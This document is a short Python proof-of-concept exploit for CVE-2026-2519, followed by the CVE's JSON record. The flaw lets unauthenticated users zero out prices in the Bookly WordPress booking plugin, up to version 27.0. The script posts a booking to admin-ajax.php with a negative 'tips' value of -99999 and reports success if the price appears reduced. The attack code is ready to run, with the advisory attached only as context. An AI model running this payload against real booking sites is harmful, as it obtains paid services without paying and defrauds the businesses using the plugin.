CVE-2026-2519

import requests # Target URL example (adjust based on actual target) target_url = "https://example.com/wp-admin/admin-ajax.php" # The vulnerability allows manipulating the 'tips' parameter # Submitting a negative value reduces the total price to zero payload = { "action": "bookly_pro_post_booking", # Action name might vary "form_id": "1", "tips": "-99999", # Malicious payload: Negative tip "service_id": "1", "staff_id": "1", "start_date": "2026-05-01", "start_time": "10:00" } try: response = requests.post(target_url, data=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if "total_price" in response.text or "0.00" in response.text: print("Exploit successful: Total price likely reduced.") except Exception as e: print(f"Error occurred: {e}")

{"cve": {"id": "CVE-2026-2519", "sourceIdentifier": "[email protected]", "published": "2026-04-09T13:16:42.843", "lastModified": "2026-04-24T18:02:46.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Online Scheduling and Appointment Booking System – Bookly plugin for WordPress is vulnerable to price manipulation via the 'tips' parameter in all versions up to, and including, 27.0. This is due to the plugin trusting a user-supplied input without server-side validation against the configured price. This makes it possible for unauthenticated attackers to submit a negative number to the 'tips' parameter, causing the total price to be reduced to zero."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bookly-responsive-appointment-booking-tool/trunk/frontend/modules/booking/Ajax.php#L709", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bookly-responsive-appointment-booking-tool/trunk/lib/CartInfo.php#L450", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bookly-responsive-appointment-booking-tool/trunk/lib/UserBookingData.php#L355", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3480956/", "source": "[email protected]"}, {"url": "https://www.booking-wp-plugin.com/change-log/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ead87d8b-2659-4e8b-a0b9-138b1db89e36?source=cve", "source": "[email protected]"}]}}